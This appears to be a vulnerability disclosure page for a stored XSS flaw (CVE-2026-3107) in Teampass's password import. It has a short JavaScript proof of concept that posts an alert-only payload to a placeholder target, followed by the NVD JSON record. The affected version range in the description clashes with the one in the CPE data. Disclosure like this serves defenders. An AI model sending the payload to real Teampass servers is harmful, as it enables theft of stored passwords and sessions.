CVE-2026-3107

/** * PoC for CVE-2026-3107 (Teampass Stored XSS) * This script demonstrates how to send a malicious payload * via the import functionality. */ const targetUrl = 'http://target-teampass.com/index.php'; const maliciousPayload = '<img src=x onerror=alert(1)>'; // Simulate the import request data const exploitData = { page: 'items', action: 'import', // The payload is injected into a field that is not sanitized items_to_import: JSON.stringify([ { label: 'Admin Password', password: maliciousPayload, description: 'XSS Payload' } ]) }; fetch(targetUrl, { method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded', 'Cookie': 'PHPSESSID=valid_session_id_here' }, body: new URLSearchParams(exploitData) }).then(response => console.log('Payload sent, status:', response.status));

{"cve": {"id": "CVE-2026-3107", "sourceIdentifier": "[email protected]", "published": "2026-03-31T09:16:22.860", "lastModified": "2026-04-07T15:36:22.963", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Stored Cross-Site Scripting (XSS) in Teampass versions prior to 3.1.5.16, affecting the password manager's password import functionality at the endpoint 'redacted/index.php?page=items'. The application fails to properly sanitize and encode user-input data during the import process, allowing malicious JavaScript payloads to be persistently stored in the database. When other users view the imported passwords, the payload is automatically executed in their browsers, resulting in a stored XSS condition at the endpoint 'redacted/index.php?page=items'. Exploiting this vulnerability allows an attacker to execute arbitrary JavaScript code in the context of multiple users and the administrator, which can lead to session hijacking, credential theft, privilege abuse, and compromise of application integrity."}, {"lang": "es", "value": "Cross-site scripting (XSS) almacenado en versiones de Teampass anteriores a la 3.1.5.16, que afecta la funcionalidad de importación de contraseñas del gestor de contraseñas en el endpoint 'redacted/index.php?page=items'. La aplicación no logra sanear y codificar correctamente los datos de entrada del usuario durante el proceso de importación, permitiendo que cargas útiles maliciosas de JavaScript se almacenen persistentemente en la base de datos. Cuando otros usuarios ven las contraseñas importadas, la carga útil se ejecuta automáticamente en sus navegadores, lo que resulta en una condición de XSS almacenado en el endpoint 'redacted/index.php?page=items'. Explotar esta vulnerabilidad permite a un atacante ejecutar código JavaScript arbitrario en el contexto de múltiples usuarios y el administrador, lo que puede llevar al secuestro de sesión, robo de credenciales, abuso de privilegios y compromiso de la integridad de la aplicación."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 9.3, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:teampass:teampass:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.1.5.16", "versionEndExcluding": "3.1.5.24", "matchCriteriaId": "6A32E3AF-53D9-4522-8681-9E95819801F1"}]}]}], "references": [{"url": "https://www.incibe.es/en/incibe-cert/notices/aviso/multiple-vulnerabilities-teampass", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}